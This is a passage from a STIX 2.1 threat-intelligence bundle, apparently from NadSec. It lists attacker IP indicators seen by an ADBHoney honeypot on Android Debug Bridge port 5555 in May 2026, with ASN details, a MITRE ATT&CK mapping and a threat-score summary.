        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.141.62.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T17:00:02.000Z",
      "valid_until": "2026-07-02T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-31T16:14:27.000Z",
          "last_seen": "2026-05-31T16:24:38.052Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9304"
          ],
          "org": [
            "HGC Global Communications Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=RU; asn=205784; asn_org=NV Telecom LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=3 | first_seen=2026-05-31T16:31:43.000Z | last_seen=2026-05-31T16:32:46.682Z | ports=5555 | cc=RU | asn=205784 | org=NV Telecom LLC",
      "id": "indicator--3cc516e0-4155-4360-8b71-d0adb254a6b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '94.142.248.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T17:00:02.000Z",
      "valid_until": "2026-07-02T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 3,
          "first_seen": "2026-05-31T16:31:43.000Z",
          "last_seen": "2026-05-31T16:32:46.682Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "205784"
          ],
          "org": [
            "NV Telecom LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T18:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=DE; asn=210819; asn_org=Netversor GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-31T17:06:26.000Z | last_seen=2026-05-31T17:08:08.682Z | ports=5555 | cc=DE | asn=210819 | org=Netversor GmbH",
      "id": "indicator--4d63f00c-41a0-4f60-8211-e0c9b1630c67",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '92.246.90.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T18:00:06.000Z",
      "valid_until": "2026-07-02T18:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-31T17:06:26.000Z",
          "last_seen": "2026-05-31T17:08:08.682Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "210819"
          ],
          "org": [
            "Netversor GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-31T18:23:50.000Z | last_seen=2026-05-31T18:34:26.263Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--95fb9ee1-b497-4f25-9783-02699e98cc1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.203.4.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T19:00:03.000Z",
      "valid_until": "2026-07-02T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-31T18:23:50.000Z",
          "last_seen": "2026-05-31T18:34:26.263Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=LV; asn=208885; asn_org=Noyobzoda Faridduni Saidilhom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-31T21:29:38.000Z | last_seen=2026-05-31T21:30:48.363Z | ports=5555 | cc=LV | asn=208885 | org=Noyobzoda Faridduni Saidilhom",
      "id": "indicator--ab70e93a-4e2f-4010-887a-7d3f43a4d7cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '86.54.24.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T22:00:02.000Z",
      "valid_until": "2026-07-02T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-31T21:29:38.000Z",
          "last_seen": "2026-05-31T21:30:48.363Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LV"
          ],
          "asn": [
            "208885"
          ],
          "org": [
            "Noyobzoda Faridduni Saidilhom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "type": "identity",
      "spec_version": "2.1",
      "id": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "created": "2026-05-31T23:36:04Z",
      "modified": "2026-05-31T23:36:04Z",
      "name": "NadSec",
      "identity_class": "organization",
      "description": "NadSec threat intel generated from T-Pot CE honeypot telemetry and enrichment pipeline.",
      "contact_information": "https://nadsec.online"
    },
    {
      "type": "marking-definition",
      "spec_version": "2.1",
      "id": "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22",
      "created": "2026-05-31T23:36:04Z",
      "definition_type": "tlp",
      "definition": {
        "tlp": "green"
      }
    }
  ],
  "spec_version": "2.1",
  "type": "bundle",
  "x_nadsec_enrichment": {
    "sensor": "adbhoney",
    "month": "2026-05",
    "enriched_at": "2026-05-31T23:36:08Z",
    "ipv4_enriched": 608,
    "ipv4_missing_in_es": 22,
    "sha256_enriched": 72
  },
  "x_mitre_attack": {
    "techniques": {
      "T1437.001": {
        "name": "Application Layer Protocol: Web Protocols",
        "tactic": "Command and Control",
        "ip_count": 639,
        "sample_sources": []
      }
    },
    "tactic_summary": {
      "Command and Control": 639
    },
    "technique_count": 1,
    "primary_tactics": [
      "Command and Control"
    ]
  },
  "x_nadsec_threat_summary": {
    "total_ips": 639,
    "scored_ips": 639,
    "threat_distribution": {
      "critical": 100,
      "high": 158,
      "medium": 73,
      "low": 85,
      "minimal": 223,
      "unknown": 0
    },
    "avg_threat_score": 44.6,
    "max_threat_score": 100,
    "top_threats": [
      {
        "ip": "37.60.241.154",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "5.61.209.224",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "51.68.207.118",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "80.66.83.43",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "92.63.197.22",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "45.82.78.105",
        "threat_score": 99.6,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "77.83.240.70",
        "threat_score": 99.2,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "65.49.20.66",
        "threat_score": 98.6,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "195.178.110.204",
        "threat_score": 96.9,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "216.218.206.69",
        "threat_score": 96.8,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "65.49.1.172",
        "threat_score": 96.6,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "184.105.247.196",
        "threat_score": 96.1,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "65.49.20.67",
        "threat_score": 96.1,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "184.105.139.68",
        "threat_score": 95.9,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "65.49.1.10",
        "threat_score": 95.7,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "64.62.156.212",
        "threat_score": 95.6,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "65.49.1.162",
        "threat_score": 95.6,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "64.62.156.52",
        "threat_score": 95.5,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "65.49.1.132",
        "threat_score": 95.5,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "64.62.156.222",
        "threat_score": 95.4,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      }
    ]
  }
}